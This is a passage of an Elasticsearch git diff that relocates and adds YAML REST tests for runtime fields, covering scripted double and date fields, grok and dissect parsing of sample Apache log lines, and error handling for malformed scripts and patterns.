2] } + - match: {hits.hits.0.fields.voltage_times_ten: [40] } + - match: {hits.hits.0.fields.voltage_times_ten_no_dv: [40] } + - match: {hits.hits.1.fields.voltage_times_ten: [42] } + - match: {hits.hits.2.fields.voltage_times_ten: [56] } + - match: {hits.hits.3.fields.voltage_times_ten: [51] } + - match: {hits.hits.4.fields.voltage_times_ten: [58] } + - match: {hits.hits.5.fields.voltage_times_ten: [52] } + +--- +"docvalue_fields": + - do: + search: + index: sensor + body: + sort: timestamp + docvalue_fields: + - voltage_times_ten + - temperature_digits + - match: {hits.total.value: 6} + - match: {hits.hits.0.fields.voltage_times_ten: [40] } + - match: {hits.hits.0.fields.temperature_digits: [0, 2, 2] } + - match: {hits.hits.0.fields.voltage_times_ten: [40] } + - match: {hits.hits.1.fields.voltage_times_ten: [42] } + - match: {hits.hits.2.fields.voltage_times_ten: [56] } + - match: {hits.hits.3.fields.voltage_times_ten: [51] } + - match: {hits.hits.4.fields.voltage_times_ten: [58] } + - match: {hits.hits.5.fields.voltage_times_ten: [52] } + +--- +"terms agg": + - do: + search: + index: sensor + body: + aggs: + v10: + terms: + field: voltage_times_ten + - match: {hits.total.value: 6} + - match: {aggregations.v10.buckets.0.key: 40.0} + - match: {aggregations.v10.buckets.0.doc_count: 1} + - match: {aggregations.v10.buckets.1.key: 42.0} + - match: {aggregations.v10.buckets.1.doc_count: 1} + +--- +"term query": + - do: + search: + index: sensor + body: + query: + term: + voltage_times_ten: 58 + - match: {hits.total.value: 1} + - match: {hits.hits.0._source.voltage: 5.8} diff --git a/modules/runtime-fields-common/src/yamlRestTest/resources/rest-api-spec/test/runtime_fields/250_grok.yml b/modules/runtime-fields-common/src/yamlRestTest/resources/rest-api-spec/test/runtime_fields/250_grok.yml new file mode 100644 index 0000000000000..f089203374100 --- /dev/null +++ b/modules/runtime-fields-common/src/yamlRestTest/resources/rest-api-spec/test/runtime_fields/250_grok.yml @@ -0,0 +1,126 @@ +--- +setup: + - do: + indices.create: + index: http_logs + body: + settings: + number_of_shards: 1 + number_of_replicas: 0 + mappings: + runtime: + http.clientip: + type: ip + script: + source: | + String clientip = grok('%{COMMONAPACHELOG}').extract(doc["message"].value)?.clientip; + if (clientip != null) { + emit(clientip); + } + http.verb: + type: keyword + script: + source: | + String verb = grok('%{COMMONAPACHELOG}').extract(doc["message"].value)?.verb; + if (verb != null) { + emit(verb); + } + http.response: + type: long + script: + source: | + String response = grok('%{COMMONAPACHELOG}').extract(doc["message"].value)?.response; + if (response != null) { + emit(Integer.parseInt(response)); + } + properties: + timestamp: + type: date + message: + type: keyword + - do: + bulk: + index: http_logs + refresh: true + body: | + {"index":{}} + {"timestamp": "1998-04-30T14:30:17-05:00", "message" : "40.135.0.0 - - [30/Apr/1998:14:30:17 -0500] \"GET /images/hm_bg.jpg HTTP/1.0\" 200 24736"} + {"index":{}} + {"timestamp": "1998-04-30T14:30:53-05:00", "message" : "232.0.0.0 - - [30/Apr/1998:14:30:53 -0500] \"GET /images/hm_bg.jpg HTTP/1.0\" 200 24736"} + {"index":{}} + {"timestamp": "1998-04-30T14:31:12-05:00", "message" : "26.1.0.0 - - [30/Apr/1998:14:31:12 -0500] \"GET /images/hm_bg.jpg HTTP/1.0\" 200 24736"} + {"index":{}} + {"timestamp": "1998-04-30T14:31:19-05:00", "message" : "247.37.0.0 - - [30/Apr/1998:14:31:19 -0500] \"GET /french/splash_inet.html HTTP/1.0\" 200 3781"} + {"index":{}} + {"timestamp": "1998-04-30T14:31:22-05:00", "message" : "247.37.0.0 - - [30/Apr/1998:14:31:22 -0500] \"GET /images/hm_nbg.jpg HTTP/1.0\" 304 0"} + {"index":{}} + {"timestamp": "1998-04-30T14:31:27-05:00", "message" : "252.0.0.0 - - [30/Apr/1998:14:31:27 -0500] \"GET /images/hm_bg.jpg HTTP/1.0\" 200 24736"} + {"index":{}} + {"timestamp": "1998-04-30T14:31:28-05:00", "message" : "not a valid apache log"} + +--- +fetch: + - do: + search: + index: http_logs + body: + sort: timestamp + fields: + - http.clientip + - http.verb + - http.response + - match: {hits.total.value: 7} + - match: {hits.hits.0.fields.http\.clientip: [40.135.0.0] } + - match: {hits.hits.0.fields.http\.verb: [GET] } + - match: {hits.hits.0.fields.http\.response: [200] } + - is_false: hits.hits.6.fields.http\.clientip + - is_false: hits.hits.6.fields.http\.verb + - is_false: hits.hits.6.fields.http\.response + +--- +mutable pattern: + - do: + catch: /all arguments to \[grok\] must be constant but the \[1\] argument isn't/ + search: + index: http_logs + body: + runtime_mappings: + broken: + type: keyword + script: | + def clientip = grok(doc["type"].value).extract(doc["message"].value)?.clientip; + if (clientip != null) { + emit(clientip); + } + +--- +syntax error in pattern: + - do: + catch: '/error compiling grok pattern \[.+\]: invalid group name <2134>/' + search: + index: http_logs + body: + runtime_mappings: + broken: + type: keyword + script: | + def clientip = grok('(?<2134>').extract(doc["message"].value)?.clientip; + if (clientip != null) { + emit(clientip); + } + +--- +warning in pattern: + - do: + catch: '/error compiling grok pattern \[.+\]: emitted warnings: \[.+]/' + search: + index: http_logs + body: + runtime_mappings: + broken: + type: keyword + script: | + def clientip = grok('\\o').extract(doc["message"].value)?.clientip; + if (clientip != null) { + emit(clientip); + } diff --git a/modules/runtime-fields-common/src/yamlRestTest/resources/rest-api-spec/test/runtime_fields/260_dissect.yml b/modules/runtime-fields-common/src/yamlRestTest/resources/rest-api-spec/test/runtime_fields/260_dissect.yml new file mode 100644 index 0000000000000..7e04d790b5ec3 --- /dev/null +++ b/modules/runtime-fields-common/src/yamlRestTest/resources/rest-api-spec/test/runtime_fields/260_dissect.yml @@ -0,0 +1,76 @@ +setup: + - do: + indices.create: + index: http_logs + body: + settings: + number_of_shards: 1 + number_of_replicas: 0 + mappings: + runtime: + http.clientip: + type: ip + script: + source: | + String clientip = dissect('%{clientip} %{ident} %{auth} [%{@timestamp}] "%{verb} %{request} HTTP/%{httpversion}" %{status} %{size}').extract(doc["message"].value)?.clientip; + if (clientip != null) { + emit(clientip); + } + http.verb: + type: keyword + script: + source: | + String verb = dissect('%{clientip} %{ident} %{auth} [%{@timestamp}] "%{verb} %{request} HTTP/%{httpversion}" %{status} %{size}').extract(doc["message"].value)?.verb; + if (verb != null) { + emit(verb); + } + http.response: + type: long + script: + source: | + String response = dissect('%{clientip} %{ident} %{auth} [%{@timestamp}] "%{verb} %{request} HTTP/%{httpversion}" %{response} %{size}').extract(doc["message"].value)?.response; + if (response != null) { + emit(Integer.parseInt(response)); + } + properties: + timestamp: + type: date + message: + type: keyword + - do: + bulk: + index: http_logs + refresh: true + body: | + {"index":{}} + {"timestamp": "1998-04-30T14:30:17-05:00", "message" : "40.135.0.0 - - [30/Apr/1998:14:30:17 -0500] \"GET /images/hm_bg.jpg HTTP/1.0\" 200 24736"} + {"index":{}} + {"timestamp": "1998-04-30T14:30:53-05:00", "message" : "232.0.0.0 - - [30/Apr/1998:14:30:53 -0500] \"GET /images/hm_bg.jpg HTTP/1.0\" 200 24736"} + {"index":{}} + {"timestamp": "1998-04-30T14:31:12-05:00", "message" : "26.1.0.0 - - [30/Apr/1998:14:31:12 -0500] \"GET /images/hm_bg.jpg HTTP/1.0\" 200 24736"} + {"index":{}} + {"timestamp": "1998-04-30T14:31:19-05:00", "message" : "247.37.0.0 - - [30/Apr/1998:14:31:19 -0500] \"GET /french/splash_inet.html HTTP/1.0\" 200 3781"} + {"index":{}} + {"timestamp": "1998-04-30T14:31:22-05:00", "message" : "247.37.0.0 - - [30/Apr/1998:14:31:22 -0500] \"GET /images/hm_nbg.jpg HTTP/1.0\" 304 0"} + {"index":{}} + {"timestamp": "1998-04-30T14:31:27-05:00", "message" : "252.0.0.0 - - [30/Apr/1998:14:31:27 -0500] \"GET /images/hm_bg.jpg HTTP/1.0\" 200 24736"} + {"index":{}} + {"timestamp": "1998-04-30T14:31:28-05:00", "message" : "not a valid apache log"} +--- +fetch: + - do: + search: + index: http_logs + body: + sort: timestamp + fields: + - http.clientip + - http.verb + - http.response + - match: {hits.total.value: 7} + - match: {hits.hits.0.fields.http\.clientip: [40.135.0.0] } + - match: {hits.hits.0.fields.http\.verb: [GET] } + - match: {hits.hits.0.fields.http\.response: [200] } + - is_false: hits.hits.6.fields.http\.clientip + - is_false: hits.hits.6.fields.http\.verb + - is_false: hits.hits.6.fields.http\.response diff --git a/modules/runtime-fields-common/src/yamlRestTest/resources/rest-api-spec/test/runtime_fields/30_double.yml b/modules/runtime-fields-common/src/yamlRestTest/resources/rest-api-spec/test/runtime_fields/30_double.yml new file mode 100644 index 0000000000000..c48e80c5c1059 --- /dev/null +++ b/modules/runtime-fields-common/src/yamlRestTest/resources/rest-api-spec/test/runtime_fields/30_double.yml @@ -0,0 +1,237 @@ +--- +setup: + - do: + indices.create: + index: sensor + body: + settings: + number_of_shards: 1 + number_of_replicas: 0 + mappings: + runtime: + voltage_percent: + type: double + script: + source: | + for (double v : doc['voltage']) { + emit(v / params.max); + } + params: + max: 5.8 + # Test fetching from _source + voltage_percent_from_source: + type: double + script: + source: | + emit(params._source.voltage / params.max); + params: + max: 5.8 + # Test fetching many values + voltage_sqrts: + type: double + script: + source: | + for (double voltage : doc['voltage']) { + double v = voltage; + while (v > 1.2) { + emit(v); + v = Math.sqrt(v); + } + } + properties: + timestamp: + type: date + temperature: + type: long + voltage: + type: double + node: + type: keyword + + - do: + bulk: + index: sensor + refresh: true + body: | + {"index":{}} + {"timestamp": 1516897304000, "temperature": 202, "voltage": 0.0, "node": "c"} + {"index":{}} + {"timestamp": 1516729294000, "temperature": 200, "voltage": 5.2, "node": "a"} + {"index":{}} + {"timestamp": 1516642894000, "temperature": 201, "voltage": 5.8, "node": "b"} + {"index":{}} + {"timestamp": 1516556494000, "temperature": 202, "voltage": 5.1, "node": "a"} + {"index":{}} + {"timestamp": 1516470094000, "temperature": 198, "voltage": 5.6, "node": "b"} + {"index":{}} + {"timestamp": 1516383694000, "temperature": 200, "voltage": 4.2, "node": "c"} + {"index":{}} + {"timestamp": 1516297294000, "temperature": 202, "voltage": 4.0, "node": "c"} + +--- +"get mapping": + - do: + indices.get_mapping: + index: sensor + - match: {sensor.mappings.runtime.voltage_percent.type: double } + - match: + sensor.mappings.runtime.voltage_percent.script.source: | + for (double v : doc['voltage']) { + emit(v / params.max); + } + - match: {sensor.mappings.runtime.voltage_percent.script.params: {max: 5.8} } + - match: {sensor.mappings.runtime.voltage_percent.script.lang: painless } + +--- +"fetch fields": + - do: + search: + index: sensor + body: + sort: timestamp + fields: [voltage_percent, voltage_percent_from_source, voltage_sqrts] + - match: {hits.total.value: 7} + - match: {hits.hits.0.fields.voltage_percent: [0.6896551724137931] } + - match: {hits.hits.0.fields.voltage_percent_from_source: [0.6896551724137931] } + # Scripts that scripts that emit multiple values are supported and their results are sorted + - match: {hits.hits.0.fields.voltage_sqrts: [1.4142135623730951, 2.0, 4.0] } + - match: {hits.hits.1.fields.voltage_percent: [0.7241379310344828] } + - match: {hits.hits.2.fields.voltage_percent: [0.9655172413793103] } + - match: {hits.hits.3.fields.voltage_percent: [0.8793103448275862] } + - match: {hits.hits.4.fields.voltage_percent: [1.0] } + - match: {hits.hits.5.fields.voltage_percent: [0.896551724137931] } + - match: {hits.hits.6.fields.voltage_percent: [0.0] } + +--- +"docvalue_fields": + - do: + search: + index: sensor + body: + sort: timestamp + docvalue_fields: [voltage_percent, voltage_percent_from_source, voltage_sqrts] + - match: {hits.total.value: 7} + - match: {hits.hits.0.fields.voltage_percent: [0.6896551724137931] } + - match: {hits.hits.0.fields.voltage_percent_from_source: [0.6896551724137931] } + # Scripts that scripts that emit multiple values are supported and their results are sorted + - match: {hits.hits.0.fields.voltage_sqrts: [1.4142135623730951, 2.0, 4.0] } + - match: {hits.hits.1.fields.voltage_percent: [0.7241379310344828] } + - match: {hits.hits.2.fields.voltage_percent: [0.9655172413793103] } + - match: {hits.hits.3.fields.voltage_percent: [0.8793103448275862] } + - match: {hits.hits.4.fields.voltage_percent: [1.0] } + - match: {hits.hits.5.fields.voltage_percent: [0.896551724137931] } + - match: {hits.hits.6.fields.voltage_percent: [0.0] } + +--- +"terms agg": + - do: + search: + index: sensor + body: + aggs: + v10: + terms: + field: voltage_percent + - match: {hits.total.value: 7} + - match: {aggregations.v10.buckets.0.key: 0.0} + - match: {aggregations.v10.buckets.0.doc_count: 1} + - match: {aggregations.v10.buckets.1.key: 0.6896551724137931} + - match: {aggregations.v10.buckets.1.doc_count: 1} + +--- +"range query": + - do: + search: + index: sensor + body: + query: + range: + voltage_percent: + lt: .7 + - match: {hits.total.value: 2} + - match: {hits.hits.0._source.voltage: 0.0} + - match: {hits.hits.1._source.voltage: 4.0} + + - do: + search: + index: sensor + body: + query: + range: + voltage_percent: + lt: 0.0 + - match: {hits.total.value: 0} + + - do: + search: + index: sensor + body: + query: + range: + voltage_percent: + gt: 0.0 + - match: {hits.total.value: 6} + + - do: + search: + index: sensor + body: + query: + range: + voltage_percent: + gt: 1 + - match: {hits.total.value: 0} + + - do: + search: + index: sensor + body: + query: + range: + voltage_percent: + gte: 1 + - match: {hits.total.value: 1} + - match: {hits.hits.0._source.voltage: 5.8} + + - do: + search: + index: sensor + body: + query: + range: + voltage_percent: + gte: .7 + lte: .8 + - match: {hits.total.value: 1} + - match: {hits.hits.0._source.voltage: 4.2} + +--- +"term query": + - do: + search: + index: sensor + body: + query: + term: + voltage_percent: 1.0 + - match: {hits.total.value: 1} + - match: {hits.hits.0._source.voltage: 5.8} + +--- +"explain term query": + - do: + search: + index: sensor + explain: true + body: + query: + term: + voltage_percent: 1.0 + - match: {hits.hits.0._explanation.value: 1.0} + - match: {hits.hits.0._explanation.description: "voltage_percent:1.0"} + - match: {hits.hits.0._explanation.details.0.value: 1.0} + - match: {hits.hits.0._explanation.details.0.description: 'boost * runtime_field_score'} + - match: {hits.hits.0._explanation.details.0.details.0.value: 1.0} + - match: {hits.hits.0._explanation.details.0.details.0.description: 'boost'} + - match: {hits.hits.0._explanation.details.0.details.1.value: 1.0} + - match: {hits.hits.0._explanation.details.0.details.1.description: 'runtime_field_score is always 1'} diff --git a/x-pack/plugin/src/test/resources/rest-api-spec/test/runtime_fields/31_double_from_source.yml b/modules/runtime-fields-common/src/yamlRestTest/resources/rest-api-spec/test/runtime_fields/31_double_from_source.yml similarity index 100% rename from x-pack/plugin/src/test/resources/rest-api-spec/test/runtime_fields/31_double_from_source.yml rename to modules/runtime-fields-common/src/yamlRestTest/resources/rest-api-spec/test/runtime_fields/31_double_from_source.yml diff --git a/x-pack/plugin/src/test/resources/rest-api-spec/test/runtime_fields/32_double_source_in_query.yml b/modules/runtime-fields-common/src/yamlRestTest/resources/rest-api-spec/test/runtime_fields/32_double_source_in_query.yml similarity index 100% rename from x-pack/plugin/src/test/resources/rest-api-spec/test/runtime_fields/32_double_source_in_query.yml rename to modules/runtime-fields-common/src/yamlRestTest/resources/rest-api-spec/test/runtime_fields/32_double_source_in_query.yml diff --git a/modules/runtime-fields-common/src/yamlRestTest/resources/rest-api-spec/test/runtime_fields/33_double_calculated_at_index.yml b/modules/runtime-fields-common/src/yamlRestTest/resources/rest-api-spec/test/runtime_fields/33_double_calculated_at_index.yml new file mode 100644 index 0000000000000..15a8022f3c1b1 --- /dev/null +++ b/modules/runtime-fields-common/src/yamlRestTest/resources/rest-api-spec/test/runtime_fields/33_double_calculated_at_index.yml @@ -0,0 +1,193 @@ +--- +setup: + - do: + indices.create: + index: sensor + body: + settings: + number_of_shards: 1 + number_of_replicas: 0 + mappings: + properties: + timestamp: + type: date + temperature: + type: long + voltage: + type: double + node: + type: keyword + voltage_percent: + type: double + script: + source: | + for (double v : doc['voltage']) { + emit(v / params.max); + } + params: + max: 5.8 + voltage_percent_no_dv: + type: double + doc_values: false + script: + source: | + for (double v : doc['voltage']) { + emit(v / params.max); + } + params: + max: 5.8 + # Test fetching many values + voltage_sqrts: + type: double + script: + source: | + for (double voltage : doc['voltage']) { + double v = voltage; + while (v > 1.2) { + emit(v); + v = Math.sqrt(v); + } + } + + - do: + bulk: + index: sensor + refresh: true + body: | + {"index":{}} + {"timestamp": 1516729294000, "temperature": 200, "voltage": 5.2, "node": "a"} + {"index":{}} + {"timestamp": 1516642894000, "temperature": 201, "voltage": 5.8, "node": "b"} + {"index":{}} + {"timestamp": 1516556494000, "temperature": 202, "voltage": 5.1, "node": "a"} + {"index":{}} + {"timestamp": 1516470094000, "temperature": 198, "voltage": 5.6, "node": "b"} + {"index":{}} + {"timestamp": 1516383694000, "temperature": 200, "voltage": 4.2, "node": "c"} + {"index":{}} + {"timestamp": 1516297294000, "temperature": 202, "voltage": 4.0, "node": "c"} + +--- +"get mapping": + - do: + indices.get_mapping: + index: sensor + - match: {sensor.mappings.properties.voltage_percent.type: double } + - match: + sensor.mappings.properties.voltage_percent.script.source: | + for (double v : doc['voltage']) { + emit(v / params.max); + } + - match: {sensor.mappings.properties.voltage_percent.script.params: {max: 5.8} } + - match: {sensor.mappings.properties.voltage_percent.script.lang: painless } + +--- +"fetch fields": + - do: + search: + index: sensor + body: + sort: timestamp + fields: [voltage_percent, voltage_percent_no_dv, voltage_sqrts] + - match: {hits.total.value: 6} + - match: {hits.hits.0.fields.voltage_percent: [0.6896551724137931] } + # Scripts that scripts that emit multiple values are supported + - match: {hits.hits.0.fields.voltage_sqrts: [4.0, 2.0, 1.4142135623730951] } + - match: {hits.hits.1.fields.voltage_percent: [0.7241379310344828] } + - match: {hits.hits.1.fields.voltage_percent_no_dv: [0.7241379310344828] } + - match: {hits.hits.2.fields.voltage_percent: [0.9655172413793103] } + - match: {hits.hits.3.fields.voltage_percent: [0.8793103448275862] } + - match: {hits.hits.4.fields.voltage_percent: [1.0] } + - match: {hits.hits.5.fields.voltage_percent: [0.896551724137931] } + +--- +"docvalue_fields": + - do: + search: + index: sensor + body: + sort: timestamp + docvalue_fields: [voltage_percent, voltage_sqrts] + - match: {hits.total.value: 6} + - match: {hits.hits.0.fields.voltage_percent: [0.6896551724137931] } + # Scripts that scripts that emit multiple values are supported and their results are sorted + - match: {hits.hits.0.fields.voltage_sqrts: [1.4142135623730951, 2.0, 4.0] } + - match: {hits.hits.1.fields.voltage_percent: [0.7241379310344828] } + - match: {hits.hits.2.fields.voltage_percent: [0.9655172413793103] } + - match: {hits.hits.3.fields.voltage_percent: [0.8793103448275862] } + - match: {hits.hits.4.fields.voltage_percent: [1.0] } + - match: {hits.hits.5.fields.voltage_percent: [0.896551724137931] } + +--- +"terms agg": + - do: + search: + index: sensor + body: + aggs: + v10: + terms: + field: voltage_percent + - match: {hits.total.value: 6} + - match: {aggregations.v10.buckets.0.key: 0.6896551724137931} + - match: {aggregations.v10.buckets.0.doc_count: 1} + - match: {aggregations.v10.buckets.1.key: 0.7241379310344828} + - match: {aggregations.v10.buckets.1.doc_count: 1} + +--- +"range query": + - do: + search: + index: sensor + body: + query: + range: + voltage_percent: + lt: .7 + - match: {hits.total.value: 1} + - match: {hits.hits.0._source.voltage: 4.0} + + - do: + search: + index: sensor + body: + query: + range: + voltage_percent: + gt: 1 + - match: {hits.total.value: 0} + + - do: + search: + index: sensor + body: + query: + range: + voltage_percent: + gte: 1 + - match: {hits.total.value: 1} + - match: {hits.hits.0._source.voltage: 5.8} + + - do: + search: + index: sensor + body: + query: + range: + voltage_percent: + gte: .7 + lte: .8 + - match: {hits.total.value: 1} + - match: {hits.hits.0._source.voltage: 4.2} + +--- +"term query": + - do: + search: + index: sensor + body: + query: + term: + voltage_percent: 1.0 + - match: {hits.total.value: 1} + - match: {hits.hits.0._source.voltage: 5.8} diff --git a/x-pack/plugin/src/test/resources/rest-api-spec/test/runtime_fields/40_date.yml b/modules/runtime-fields-common/src/yamlRestTest/resources/rest-api-spec/test/runtime_fields/40_date.yml similarity index 100% rename from x-pack/plugin/src/test/resources/rest-api-spec/test/runtime_fields/40_date.yml rename to modules/runtime-fields-common/src/yamlRestTest/resources/rest-api-spec/test/runtime_fields/40_date.yml diff --git a/modules/runtime-fields-common/src/yamlRestTest/resources/rest-api-spec/test/runtime_fields/40_runtime_mappings.yml b/modules/runtime-fields-common/src/yamlRestTest/resources/rest-api-spec/test/runtime_fields/40_runtime_mappings.yml new file mode 100644 index 0000000000000..238edd7b7092a --- /dev/null +++ b/modules/runtime-fields-common/src/yamlRestTest/resources/rest-api-spec/test/runtime_fields/40_runtime_mappings.yml @@ -0,0 +1,111 @@ +--- +setup: + - do: + indices.create: + index: test-1 + body: + mappings: + properties: + timestamp: + type: date + + - do: + index: + index: test-1 + body: { timestamp: "2015-01-02" } + + - do: + indices.refresh: + index: [test-1] + +--- +"Field caps with runtime mappings section": + + - skip: + version: " - 7.11.99" + reason: Runtime mappings support was added in 7.12 + + - do: + field_caps: + index: test-* + fields: "*" + body: + runtime_mappings: + day_of_week: + type: keyword + script: + source: "emit(doc['timestamp'].value.dayOfWeekEnum.getDisplayName(TextStyle.FULL, Locale.ROOT))" + + - match: {indices: ["test-1"]} + - length: {fields.timestamp: 1} + - match: {fields.timestamp.date.type: date} + - match: {fields.timestamp.date.searchable: true} + - match: {fields.timestamp.date.aggregatable: true} + - length: {fields.day_of_week: 1} + - match: {fields.day_of_week.keyword.type: keyword} + - match: {fields.day_of_week.keyword.searchable: true} + - match: {fields.day_of_week.keyword.aggregatable: true} + +--- +"Field caps with runtime mappings section overwriting existing mapping": + + - skip: + version: " - 7.99.99" + reason: Runtime mappings support was added in 8.0 + + - do: + index: + index: test-2 + body: { day_of_week: 123 } + + - do: + field_caps: + index: test-* + fields: "day*" + + - match: {indices: ["test-1", "test-2"]} + - length: {fields.day_of_week: 1} + - match: {fields.day_of_week.long.type: long} + - match: {fields.day_of_week.long.searchable: true} + - match: {fields.day_of_week.long.aggregatable: true} + + - do: + field_caps: + index: test-* + fields: "day*" + body: + runtime_mappings: + day_of_week: + type: keyword + script: + source: "emit(doc['timestamp'].value.dayOfWeekEnum.getDisplayName(TextStyle.FULL, Locale.ROOT))" + + - match: {indices: ["test-1", "test-2"]} + - length: {fields.day_of_week: 1} + - match: {fields.day_of_week.keyword.type: keyword} + - match: {fields.day_of_week.keyword.searchable: true} + - match: {fields.day_of_week.keyword.aggregatable: true} + +--- +"Field caps with errors in runtime mappings section throws": + + - skip: + version: " - 7.11.99" + reason: Runtime mappings support was added in 7.12 + + - do: + catch: bad_request + field_caps: + index: test-* + fields: "*" + body: + runtime_mappings: + day_of_week: + type: keyword + script: + source: "bad syntax" + + - match: { error.type: "script_exception" } + - match: { error.reason: "compile error" } + - match: { error.script : "bad syntax" } + - match: { error.lang : "painless" } diff --git a/x-pack/plugin/src/test/resources/rest-api-spec/test/runtime_fields/41_date_from_source.yml b/modules/runtime-fields-common/src/yamlRestTest/resources/rest-api-spec/test/runtime_fields/41_date_from_source.yml similarity index 100% rename from x-pack/plugin/src/test/resources/rest-api-spec/test/runtime_fields/41_date_from_source.yml rename to modules/runtime-fields-common/src/yamlRestTest/resources/rest-api-spec/test/runtime_fields/41_date_from_source.yml diff --git a/x-pack/plugin/src/test/resources/rest-api-spec/test/runtime_fields/42_date_source_in_query.yml b/modules/runtime-fields-common/src/yamlRestTest/resources/rest-api-spec/test/runtime_fields/42_date_source_in_query.yml similarity index 100% rename from x-pack/plugin/src/test/resources/rest-api-spec/test/runtime_fields/42_date_source_in_query.yml rename to modules/runtime-fields-common/src/yamlRestTest/resources/rest-api-spec/test/runtime_fields/42_date_source_in_query.yml diff --git a/modules/runtime-fields-common/src/yamlRestTest/resources/rest-api-spec/test/runtime_fields/43_date_calculated_at_index.yml b/modules/runtime-fields-common/src/yamlRestTest/resources/rest-api-spec/test/runtime_fields/43_date_calculated_at_index.yml new file mode 100644 index 0000000000000..0f5ddd1e1b581 --- /dev/null +++ b/modules/runtime-fields-common/src/yamlRestTest/resources/rest-api-spec/test/runtime_fields/43_date_calculated_at_index.yml @@ -0,0 +1,178 @@ +--- +setup: + - do: + indices.create: + index: sensor + body: + settings: + number_of_shards: 1 + number_of_replicas: 0 + mappings: + properties: + tomorrow: + type: date + script: + source: | + for (def dt : doc['timestamp']) { + emit(dt.plus(params.days, ChronoUnit.DAYS).toEpochMilli()); + } + params: + days: 1 + # Test fetching from _source and parsing + tomorrow_from_source: + type: date + script: + source: | + Instant instant = Instant.ofEpochMilli(parse(params._source.timestamp)); + ZonedDateTime dt = ZonedDateTime.ofInstant(instant, ZoneId.of("UTC")); + emit(dt.plus(1, ChronoUnit.DAYS).toEpochMilli()); + # Test returning millis + the_past: + type: date + script: + source: | + for (def dt : doc['timestamp']) { + emit(dt.toInstant().toEpochMilli() - 1000); + } + # Test fetching many values + all_week: + type: date + script: + source: | + for (def dt : doc['timestamp']) { + for (int i = 0; i < 7; i++) { + emit(dt.plus(i, ChronoUnit.DAYS).toEpochMilli()); + } + } + # Test format parameter + formatted_tomorrow: + type: date + format: yyyy-MM-dd + script: | + for (def dt : doc['timestamp']) { + emit(dt.plus(1, ChronoUnit.DAYS).toEpochMilli()); + } + timestamp: + type: date + temperature: + type: long + voltage: + type: double + node: + type: keyword + + - do: + bulk: + index: sensor + refresh: true + body: | + {"index":{}} + {"timestamp": 1516729294000, "temperature": 200, "voltage": 5.2, "node": "a"} + {"index":{}} + {"timestamp": 1516642894000, "temperature": 201, "voltage": 5.8, "node": "b"} + {"index":{}} + {"timestamp": 1516556494000, "temperature": 202, "voltage": 5.1, "node": "a"} + {"index":{}} + {"timestamp": 1516470094000, "temperature": 198, "voltage": 5.6, "node": "b"} + {"index":{}} + {"timestamp": 1516383694000, "temperature": 200, "voltage": 4.2, "node": "c"} + {"index":{}} + {"timestamp": "2018-01-18T17:41:34.000Z", "temperature": 202, "voltage": 4.0, "node": "c"} + +--- +"get mapping": + - do: + indices.get_mapping: + index: sensor + - match: {sensor.mappings.properties.tomorrow.type: date } + - match: + sensor.mappings.properties.tomorrow.script.source: | + for (def dt : doc['timestamp']) { + emit(dt.plus(params.days, ChronoUnit.DAYS).toEpochMilli()); + } + - match: {sensor.mappings.properties.tomorrow.script.params: {days: 1} } + - match: {sensor.mappings.properties.tomorrow.script.lang: painless } + + - match: {sensor.mappings.properties.formatted_tomorrow.type: date } + - match: + sensor.mappings.properties.formatted_tomorrow.script.source: | + for (def dt : doc['timestamp']) { + emit(dt.plus(1, ChronoUnit.DAYS).toEpochMilli()); + } + - match: {sensor.mappings.properties.formatted_tomorrow.script.lang: painless } + - match: {sensor.mappings.properties.formatted_tomorrow.format: yyyy-MM-dd } + +--- +"fetch fields": + - do: + search: + index: sensor + body: + sort: timestamp + fields: [tomorrow, tomorrow_from_source, the_past, all_week, formatted_tomorrow] + - match: {hits.total.value: 6} + - match: {hits.hits.0.fields.tomorrow: ["2018-01-19T17:41:34.000Z"] } + - match: {hits.hits.0.fields.tomorrow_from_source: ["2018-01-19T17:41:34.000Z"] } + - match: {hits.hits.0.fields.the_past: ["2018-01-18T17:41:33.000Z"] } + - match: + hits.hits.0.fields.all_week: + - 2018-01-18T17:41:34.000Z + - 2018-01-19T17:41:34.000Z + - 2018-01-20T17:41:34.000Z + - 2018-01-21T17:41:34.000Z + - 2018-01-22T17:41:34.000Z + - 2018-01-23T17:41:34.000Z + - 2018-01-24T17:41:34.000Z + - match: {hits.hits.0.fields.formatted_tomorrow: [2018-01-19] } + +--- +"docvalue_fields": + - do: + search: + index: sensor + body: + sort: timestamp + docvalue_fields: [tomorrow, tomorrow_from_source, the_past, all_week, formatted_tomorrow] + - match: {hits.total.value: 6} + - match: {hits.hits.0.fields.tomorrow: ["2018-01-19T17:41:34.000Z"] } + - match: {hits.hits.0.fields.tomorrow_from_source: ["2018-01-19T17:41:34.000Z"] } + - match: {hits.hits.0.fields.the_past: ["2018-01-18T17:41:33.000Z"] } + - match: + hits.hits.0.fields.all_week: + - 2018-01-18T17:41:34.000Z + - 2018-01-19T17:41:34.000Z + - 2018-01-20T17:41:34.000Z + - 2018-01-21T17:41:34.000Z + - 2018-01-22T17:41:34.000Z + - 2018-01-23T17:41:34.000Z + - 2018-01-24T17:41:34.000Z + - match: {hits.hits.0.fields.formatted_tomorrow: [2018-01-19] } + +--- +"terms agg": + - do: + search: + index: sensor + body: + aggs: + v10: + terms: + field: tomorrow + format: strict_date_optional_time + - match: {hits.total.value: 6} + - match: {aggregations.v10.buckets.0.key_as_string: "2018-01-19T17:41:34.000Z"} + - match: {aggregations.v10.buckets.0.doc_count: 1} + - match: {aggregations.v10.buckets.1.key_as_string: "2018-01-20T17:41:34.000Z"} + - match: {aggregations.v10.buckets.1.doc_count: 1} + +--- +"term query": + - do: + search: + index: sensor + body: + query: + term: + tomorrow: 2018-01-19T17:41:34Z + - match: {hits.total.value: 1} + - match: {hits.hits.0._source.voltage: 4.0} diff --git a/x-pack/plugin/src/test/resources/rest-api-spec/test/runtime_fields/50_ip.yml b/modules/runtime-fields-common/src/yamlRestTest/resources/rest-api-spec/test/runtime_fields/50_ip.yml similarity index 100% rename from x-pack/plugin/src/test/resources/rest-api-spec/test/runtime_fields/50_ip.yml rename to modules/runtime-fields-common/src/yamlRestTest/resources/rest-api-spec/test/runtime_fields/50_ip.yml diff --git a/x-pack/plugin/src/test/resources/rest-api-spec/test/runtime_fields/51_ip_from_source.yml b/modules/runtime-fields-common/src/yamlRestTest/resources/rest-api-spec/test/runtime_fields/51_ip_from_source.yml similarity index 100% rename from x-pack/plugin/src/test/resources/rest-api-spec/test/runtime_fields/51_ip_from_source.yml rename to modules/runtime-fields-common/src/yamlRestTest/resources/rest-api-spec/test/runtime_fields/51_ip_from_source.yml diff --git a/x-pack/plugin/src/test/resources/rest-api-spec/test/runtime_fields/52_ip_source_in_query.yml 